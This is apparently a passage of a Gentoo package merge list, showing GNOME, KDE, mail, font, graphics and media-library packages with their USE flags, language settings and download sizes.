+gnome-base/libgnomekbd	USE="-debug" 402 kB
+gnome-base/libgnomeprint	USE="cups -debug -doc" 873 kB
+gnome-base/libgnomeprintui	USE="-debug -doc" 696 kB
+gnome-base/libgnomeui	USE="-doc" 1,460 kB
+gnome-base/libgtop	USE="-debug" 748 kB
+gnome-base/librsvg	USE="zlib -debug -doc" 481 kB
+gnome-base/nautilus	USE="X gnome -beagle -debug -doc -tracker -xmp" 5,231 kB
+gnome-base/orbit	USE="-debug -doc" 723 kB
+gnome-extra/bug-buddy	USE="eds -debug" 1,084 kB
+gnome-extra/deskbar-applet	USE="eds spell -test" 912 kB
+gnome-extra/evolution-data-server	USE="ipv6 kerberos ldap ssl -debug -doc -gnome-keyring -krb4" 7,674 kB
+gnome-extra/evolution-exchange	USE="-debug -doc -static" 916 kB
+gnome-extra/evolution-webcal	USE="-debug" 152 kB
+gnome-extra/fast-user-switch-applet	USE="-debug" 915 kB
+gnome-extra/gcalctool	USE="-debug" 1,754 kB
+gnome-extra/gconf-editor	USE="-debug -test" 1,116 kB
+gnome-extra/gnome-games	USE="X opengl -artworkextra -guile" 18,746 kB
+gnome-extra/gnome-media	USE="ipv6 -debug -esd -gnomecd" 2,290 kB
+gnome-extra/gnome-power-manager	USE="X -debug -doc -test" 2,933 kB
+gnome-extra/gnome-screensaver	USE="libnotify opengl pam -debug -doc" 2,011 kB
+gnome-extra/gnome-system-monitor	1,935 kB
+gnome-extra/gnome-user-docs	12,884 kB
+gnome-extra/gnome-utils	USE="-debug -doc -hal -ipv6" 6,261 kB
+gnome-extra/gsynaptics	USE="-debug" 378 kB
+gnome-extra/gtkhtml	USE="-debug" 1,440 kB
+gnome-extra/gucharmap	USE="gnome python -cjk -debug -doc -test" 2,856 kB
+gnome-extra/libgsf	USE="bzip2 gnome python -debug -doc" 623 kB
+gnome-extra/nautilus-cd-burner	USE="cdr dvdr -debug" 709 kB
+gnome-extra/nm-applet	USE="libnotify -debug -doc" 764 kB
+gnome-extra/sensors-applet	USE="libnotify -debug -hddtemp -lm_sensors -nvidia" 454 kB
+gnome-extra/swfdec-gnome	USE="-debug" 154 kB
+gnome-extra/yelp	USE="-beagle -debug -lzma" 1,000 kB
+gnome-extra/zenity	USE="libnotify -debug" 2,191 kB
+kde-base/akonadi	USE="semantic-desktop (-aqua) -debug (-kdeprefix)" 727 kB
+kde-base/akregator	USE="handbook kontact (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/amor	USE="handbook (-aqua) -debug (-kdeprefix)" 1,278 kB
+kde-base/ark	USE="archive handbook zip (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/automoc	9 kB
+kde-base/blinken	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/bomber	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/bovo	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/dolphin	USE="handbook semantic-desktop (-aqua) -debug (-kdeprefix) -thumbnail" 0 kB
+kde-base/dragonplayer	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/drkonqi	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/gwenview	USE="handbook semantic-desktop (-aqua) -debug (-kdeprefix) -kipi" 0 kB
+kde-base/juk	USE="handbook (-aqua) -debug (-kdeprefix) -musicbrainz" 0 kB
+kde-base/kabcclient	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kaddressbook	USE="handbook kontact (-aqua) -debug -gnokii (-kdeprefix)" 0 kB
+kde-base/kalarm	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kalgebra	USE="handbook opengl plasma readline (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kalzium	USE="handbook plasma (-aqua) -debug -editor (-kdeprefix) -solver -test" 0 kB
+kde-base/kamera	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kanagram	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kapman	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kappfinder	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kapptemplate	USE="handbook (-aqua) -debug (-kdeprefix)" 5,480 kB
+kde-base/kate	USE="handbook plasma (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/katomic	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kbattleship	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kblackbox	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kblocks	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kbounce	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kbreakout	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kbruch	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kcalc	USE="handbook (-aqua) -debug (-kdeprefix) -test" 0 kB
+kde-base/kcharselect	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kcheckpass	USE="pam (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kcminit	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kcmshell	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kcolorchooser	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kcontrol	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kcron	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kde-env	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kde-l10n	USE="handbook (-aqua) (-kdeprefix)" LINGUAS="ca* eu* gl* kk* ku* mai* -ar -bg -bn_IN -cs -csb -da -de -el -en_GB -es -et -fi -fr -ga -gu -he -hi -hne -hr -hu -is -it -ja -km -kn -ko -lt -lv -mk -ml -mr -nb -nds -nl -nn -pa -pl -pt -pt_BR -ro -ru -sk -sl -sr -sv -tg -th -tr -uk -wa -zh_CN -zh_TW" 13,740 kB
+kde-base/kde-meta	USE="mysql nls -accessibility (-kdeprefix)" 0 kB
+kde-base/kdeadmin-meta	USE="cups (-kdeprefix) -lilo" 0 kB
+kde-base/kdeartwork-colorschemes	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kdeartwork-desktopthemes	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kdeartwork-emoticons	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kdeartwork-iconthemes	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kdeartwork-kscreensaver	USE="eigen opengl (-aqua) -debug (-kdeprefix) -xscreensaver" 0 kB
+kde-base/kdeartwork-meta	USE="(-kdeprefix)" 0 kB
+kde-base/kdeartwork-sounds	USE="(-aqua) (-kdeprefix)" 63,794 kB
+kde-base/kdeartwork-styles	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdeartwork-wallpapers	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kdeartwork-weatherwallpapers	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kdebase-cursors	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kdebase-data	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kdebase-desktoptheme	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kdebase-kioslaves	USE="bzip2 handbook (-aqua) -debug (-kdeprefix) -openexr -samba" 0 kB
+kde-base/kdebase-menu	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdebase-menu-icons	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kdebase-meta	USE="semantic-desktop (-kdeprefix) -policykit" 0 kB
+kde-base/kdebase-pam	0 kB
+kde-base/kdebase-startkde	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kdebase-wallpapers	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kdebugdialog	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdeedu-meta	USE="(-kdeprefix)" 0 kB
+kde-base/kdegames-meta	USE="opengl (-kdeprefix)" 0 kB
+kde-base/kdegraphics-meta	USE="(-kdeprefix)" 0 kB
+kde-base/kdegraphics-strigi-analyzer	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdelibs	USE="acl alsa bindist bzip2 fam handbook mmx nls opengl semantic-desktop spell sse sse2 ssl -3dnow (-altivec) (-aqua) -debug -doc -jpeg2k (-kdeprefix) -kerberos -openexr -test -zeroconf" 10,265 kB
+kde-base/kdemultimedia-kioslaves	USE="encode flac handbook vorbis (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdemultimedia-meta	USE="(-kdeprefix)" 0 kB
+kde-base/kdenetwork-filesharing	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdenetwork-meta	USE="(-kdeprefix)" 0 kB
+kde-base/kdepasswd	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdepim-icons	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/kdepim-kresources	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdepim-meta	USE="(-kdeprefix)" 0 kB
+kde-base/kdepim-strigi-analyzer	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdepim-wizards	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdepimlibs	USE="handbook ldap (-aqua) -debug (-kdeprefix) -test" 1,739 kB
+kde-base/kdeplasma-addons	USE="opengl (-aqua) -debug -desktopglobe -exif (-kdeprefix) -semantic-desktop" 1,415 kB
+kde-base/kdesdk-kioslaves	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdessh	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdesu	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdetoys-meta	USE="(-kdeprefix)" 0 kB
+kde-base/kdeutils-meta	USE="cups -floppy (-kdeprefix) -lirc" 0 kB
+kde-base/kdewebdev-meta	USE="(-kdeprefix)" 0 kB
+kde-base/kdf	USE="handbook (-aqua) -debug (-kdeprefix)" 2,466 kB
+kde-base/kdialog	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdiamond	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kdm	USE="handbook pam (-aqua) -consolekit -debug (-kdeprefix) -kerberos" 0 kB
+kde-base/kdnssd	USE="(-aqua) -debug (-kdeprefix) -zeroconf" 7,210 kB
+kde-base/keditbookmarks	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/keditfiletype	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kephal	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kfile	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kfilereplace	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kfind	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kfmclient	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kfourinline	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kgamma	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kgeography	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kget	USE="handbook plasma semantic-desktop (-aqua) -debug (-kdeprefix) -sqlite" 0 kB
+kde-base/kglobalaccel	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kgoldrunner	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kgpg	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/khangman	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/khelpcenter	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/khotkeys	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kiconfinder	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kig	USE="handbook (-aqua) -debug (-kdeprefix) -kig-scripting" 0 kB
+kde-base/killbots	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kimagemapeditor	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kinfocenter	USE="handbook opengl (-aqua) -debug -ieee1394 (-kdeprefix)" 0 kB
+kde-base/kioclient	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kiriki	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kiten	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kjots	USE="handbook kontact (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kjumpingcube	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kleopatra	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/klettres	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/klines	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/klinkstatus	USE="handbook (-aqua) -debug (-kdeprefix) -tidy" 0 kB
+kde-base/klipper	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kmahjongg	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kmail	USE="handbook kontact semantic-desktop (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kmailcvt	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kmenuedit	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kmimetypefinder	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kmines	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kmix	USE="alsa handbook (-aqua) -debug (-kdeprefix) -pulseaudio" 0 kB
+kde-base/kmplot	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/knetattach	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/knetwalk	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/knetworkconf	USE="(-aqua) -debug (-kdeprefix)" 1,833 kB
+kde-base/knewstuff	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/knode	USE="handbook kontact (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/knotes	USE="handbook kontact (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/knotify	USE="(-aqua) -debug (-kdeprefix)" 7,091 kB
+kde-base/kolf	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kollision	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kolourpaint	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kommander	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/konqueror	USE="auth bookmarks handbook (-aqua) -debug (-kdeprefix) -thumbnail" 0 kB
+kde-base/konquest	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/konsole	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/konsolekalendar	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kontact	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kontact-specialdates	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kontactinterfaces	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kopete	USE="addbookmarks autoreplace contactnotes handbook highlight history jabber nowlistening pipes privacy ssl statistics texteffect translator urlpicpreview (-aqua) -bonjour -debug -gadu -groupwise (-kdeprefix) -latex -meanwhile -msn -oscar -otr -qq -skype -testbed -v4l2 -webpresence -winpopup -yahoo" 0 kB
+kde-base/korganizer	USE="handbook kontact (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kpasswdserver	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kpat	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kpilot	USE="crypt handbook (-aqua) -avantgo -debug (-kdeprefix)" 0 kB
+kde-base/kppp	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kquitapp	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/krdc	USE="handbook jpeg (-aqua) -debug (-kdeprefix) -rdp -vnc -zeroconf" 0 kB
+kde-base/kreadconfig	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kreversi	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/krfb	USE="handbook (-aqua) -debug (-kdeprefix) -zeroconf" 0 kB
+kde-base/krosspython	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kruler	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/krunner	USE="opengl (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ksame	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ksaneplugin	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kscd	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kscreensaver	USE="opengl pam (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kshisen	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ksirk	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ksmserver	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ksnapshot	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kspaceduel	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ksplash	USE="mmx sse sse2 -3dnow (-altivec) (-aqua) -debug (-kdeprefix) -xinerama" 0 kB
+kde-base/ksquares	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kstars	USE="handbook (-aqua) -debug -fits -indi (-kdeprefix)" 0 kB
+kde-base/kstart	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kstartupconfig	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kstyles	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ksudoku	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ksysguard	USE="handbook (-aqua) -debug (-kdeprefix) -lm_sensors -test" 0 kB
+kde-base/ksystemlog	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ksystraycmd	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kteatime	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ktimer	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ktimetracker	USE="handbook kontact (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ktimezoned	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ktouch	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ktraderclient	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ktron	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ktuberling	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kturtle	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/ktux	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kubrick	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kuiserver	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kurifilter-plugins	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kuser	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kwallet	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kwalletd	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kweather	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kwin	USE="opengl xcomposite (-aqua) -debug (-kdeprefix) -xinerama" 0 kB
+kde-base/kwordquiz	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kwrite	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kwrited	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/kxsldbg	USE="handbook (-aqua) -debug (-kdeprefix)" 2,467 kB
+kde-base/libkcddb	USE="(-aqua) -debug (-kdeprefix) -musicbrainz" 1,549 kB
+kde-base/libkcompactdisc	USE="alsa (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/libkdcraw	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/libkdeedu	USE="(-aqua) -debug (-kdeprefix)" 56,511 kB
+kde-base/libkdegames	USE="(-aqua) -debug (-kdeprefix)" 49,383 kB
+kde-base/libkdepim	USE="(-aqua) -debug (-kdeprefix)" 11,058 kB
+kde-base/libkexiv2	USE="(-aqua) -debug (-kdeprefix)" 3,534 kB
+kde-base/libkipi	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/libkleo	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/libkmahjongg	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/libknotificationitem	USE="(-aqua) -debug (-kdeprefix)" 27 kB
+kde-base/libkonq	USE="(-aqua) -debug (-kdeprefix) -test" 4,164 kB
+kde-base/libkpgp	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/libksane	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/libksieve	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/libkworkspace	USE="(-aqua) -debug (-kdeprefix)" 60,827 kB
+kde-base/libplasmaclock	USE="opengl (-aqua) -debug (-kdeprefix) -xinerama" 0 kB
+kde-base/libtaskmanager	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/lskat	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/marble	USE="handbook python (-aqua) -debug -designer-plugin -gps (-kdeprefix) -plasma -test" 0 kB
+kde-base/mimelib	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/mplayerthumbs	USE="(-aqua) -debug (-kdeprefix) -mplayer" 0 kB
+kde-base/nepomuk	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/nsplugins	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/okteta	USE="handbook (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/okular	USE="crypt handbook jpeg pdf ps tiff (-aqua) -chm -debug -djvu -ebook (-kdeprefix)" 0 kB
+kde-base/oxygen-icons	USE="(-kdeprefix)" 112,625 kB
+kde-base/parley	USE="handbook plasma (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/phonon-kde	USE="xine (-aqua) -debug (-kdeprefix) -pulseaudio" 0 kB
+kde-base/plasma-apps	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/plasma-runtime	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/plasma-workspace	USE="handbook rss (-aqua) -debug -google-gadgets (-kdeprefix) -python -xinerama" 0 kB
+kde-base/powerdevil	USE="pm-utils (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/printer-applet	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/pykde4	USE="-akonadi (-aqua) -debug -examples (-kdeprefix) -policykit -semantic-desktop" 4,767 kB
+kde-base/qimageblitz	USE="mmx sse sse2 -3dnow (-altivec) -debug" 55 kB
+kde-base/renamedlg-plugins	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/solid	USE="(-aqua) -bluetooth -debug (-kdeprefix) -networkmanager -wicd" 0 kB
+kde-base/solid-hardware	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/solidautoeject	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/soliduiserver	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/step	USE="gsl handbook qalculate (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/superkaramba	USE="handbook python (-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/svgpart	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/sweeper	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-base/system-config-printer-kde	USE="(-aqua) (-kdeprefix)" 0 kB
+kde-base/systemsettings	USE="handbook opengl usb (-aqua) -debug (-kdeprefix) -xinerama" 0 kB
+kde-base/thumbnailers	USE="(-aqua) -debug (-kdeprefix)" 0 kB
+kde-misc/konq-plugins	USE="handbook (-aqua) -debug -tidy" LINGUAS="bn* ca* cy* eo* eu* fa* gl* kk* ku* mai* uz* -af -ar -be -bg -br -cs -da -de -el -en_GB -es -et -fi -fr -fy -ga -he -hi -hr -hsb -hu -is -it -ja -km -ko -lt -lv -mk -ml -ms -nb -nds -ne -nl -nn -oc -pa -pl -pt -pt_BR -ro -ru -se -sk -sl -sr -sv -ta -tg -th -tr -uk -uz@cyrillic -vi -xh -zh_CN -zh_TW" 1,034 kB
+kde-misc/yakuake	USE="(-aqua)" LINGUAS="ca* gl* -cs -da -de -el -en_GB -fr -ga -ja -ko -nds -nl -pt -pt_BR -ro -ru -sv -tr -uk" 273 kB
+mail-client/claws-mail	USE="crypt dbus gnome ipv6 kde ldap session spell ssl startup-notification -bogofilter -dillo -doc -gnutls -imap -nntp -pda -smime -spamassassin -xface" 5,769 kB
+mail-client/evolution	USE="crypt dbus hal ldap ssl -debug -kerberos -krb4 -mono -networkmanager -nntp -pda -profile" 31,892 kB
+mail-client/mailx	129 kB
+mail-client/mailx-support	9 kB
+mail-client/mozilla-thunderbird	USE="bindist crypt gnome ipv6 ldap -debug -mozdom -moznopango -replytolist -xinerama" LINGUAS="ca* en* eu* -af -be -bg -cs -da -de -el -en_GB -en_US -es -es_AR -es_ES -fi -fr -ga -ga_IE -he -hu -it -ja -ko -lt -mk -nb -nb_NO -nl -nn -nn_NO -pa -pa_IN -pl -pt -pt_BR -pt_PT -ru -sk -sl -sv -sv_SE -tr -uk -zh -zh_CN -zh_TW" 38,337 kB
+mail-client/sylpheed	USE="crypt ipv6 ldap nls spell ssl -pda -xface" 2,767 kB
+mail-mta/ssmtp	USE="ipv6 ssl -maxsysuid -md5sum" 56 kB
+media-fonts/corefonts	USE="X" 3,843 kB
+media-fonts/dejavu	USE="X -fontforge" 4,061 kB
+media-fonts/encodings	USE="-debug" 559 kB
+media-fonts/font-adobe-100dpi	USE="X nls" 1,040 kB
+media-fonts/font-adobe-utopia-type1	USE="X" 204 kB
+media-fonts/font-alias	USE="-debug" 42 kB
+media-fonts/font-bh-type1	USE="X" 563 kB
+media-fonts/font-util	USE="-debug" 97 kB
+media-fonts/gnu-gs-fonts-std	3,665 kB
+media-fonts/ttf-bitstream-vera	USE="X" 259 kB
+media-gfx/blender	USE="nls ogg openmp -blender-game -ffmpeg -openal -verse" 22,500 kB
+media-gfx/eog	USE="dbus python -debug -doc -exif -lcms -xmp" 2,201 kB
+media-gfx/exiv2	USE="nls unicode zlib -doc -examples -xmp" LINGUAS="-de -es -fi -fr -pl -ru -sk" 2,288 kB
+media-gfx/fbgrab	12 kB
+media-gfx/gimp	USE="alsa dbus gnome hal jpeg mmx mng* pdf png python sse svg tiff -aalib (-altivec) -curl -debug -doc -exif -lcms -smp -webkit -wmf" 15,638 kB
+media-gfx/gtkam	USE="gnome nls -debug -gimp" 1,360 kB
+media-gfx/imagemagick	USE="X bzip2 corefonts jpeg openmp perl png svg tiff truetype xml zlib -djvu -doc -fontconfig -fpx -graphviz -gs -hdri -jbig -jpeg2k -lcms -nocxx -openexr -q32 -q8 -raw -wmf" 8,613 kB
+media-gfx/inkscape	USE="gnome perl spell -debug -dia -doc -inkjar -jabber -lcms (-mmx) -postscript -wmf" 18,180 kB
+media-gfx/sane-backends	USE="ipv6 usb -doc -gphoto2 -v4l" 4,201 kB
+media-gfx/sane-frontends	USE="-gimp" 227 kB
+media-gfx/scrot	USE="-bash-completion" 73 kB
+media-gfx/xsane	USE="jpeg nls png tiff -gimp -lcms" 3,266 kB
+media-libs/a52dec	USE="-djbfft -oss" 236 kB
+media-libs/alsa-lib	USE="python -alisp -debug -doc" ALSA_PCM_PLUGINS="adpcm alaw asym copy dmix dshare dsnoop empty extplug file hooks iec958 ioplug ladspa lfloat linear meter mmap_emul mulaw multi null plug rate route share shm softvol" 777 kB
+media-libs/alsa-oss	243 kB
+media-libs/audiofile	371 kB
+media-libs/babl	USE="mmx sse" 388 kB
+media-libs/faad2	USE="-digitalradio" 1,111 kB
+media-libs/flac	USE="cxx ogg sse -3dnow (-altivec) -debug -doc" 1,971 kB
+media-libs/fontconfig	USE="-doc" 1,371 kB
+media-libs/freealut	452 kB
+media-libs/freeglut	0 kB
+media-libs/freetype	USE="X bindist -debug -doc -fontforge -utils" 0 kB
+media-libs/ftgl	692 kB
+media-libs/gegl	USE="cairo jpeg mmx png sdl sse svg -debug -doc -ffmpeg -openexr -raw -v4l" 1,226 kB
+media-libs/giblib	281 kB
+media-libs/giflib	USE="X -rle" 495 kB
+media-libs/gst-plugins-bad	USE="-debug" 2,505 kB
+media-libs/gst-plugins-base	USE="nls -debug" 2,077 kB
+media-libs/gst-plugins-good	USE="-debug" 2,176 kB
+media-libs/gstreamer	USE="nls -test" 2,804 kB
+media-libs/id3lib	USE="-doc" 929 kB
+media-libs/ilmbase	453 kB
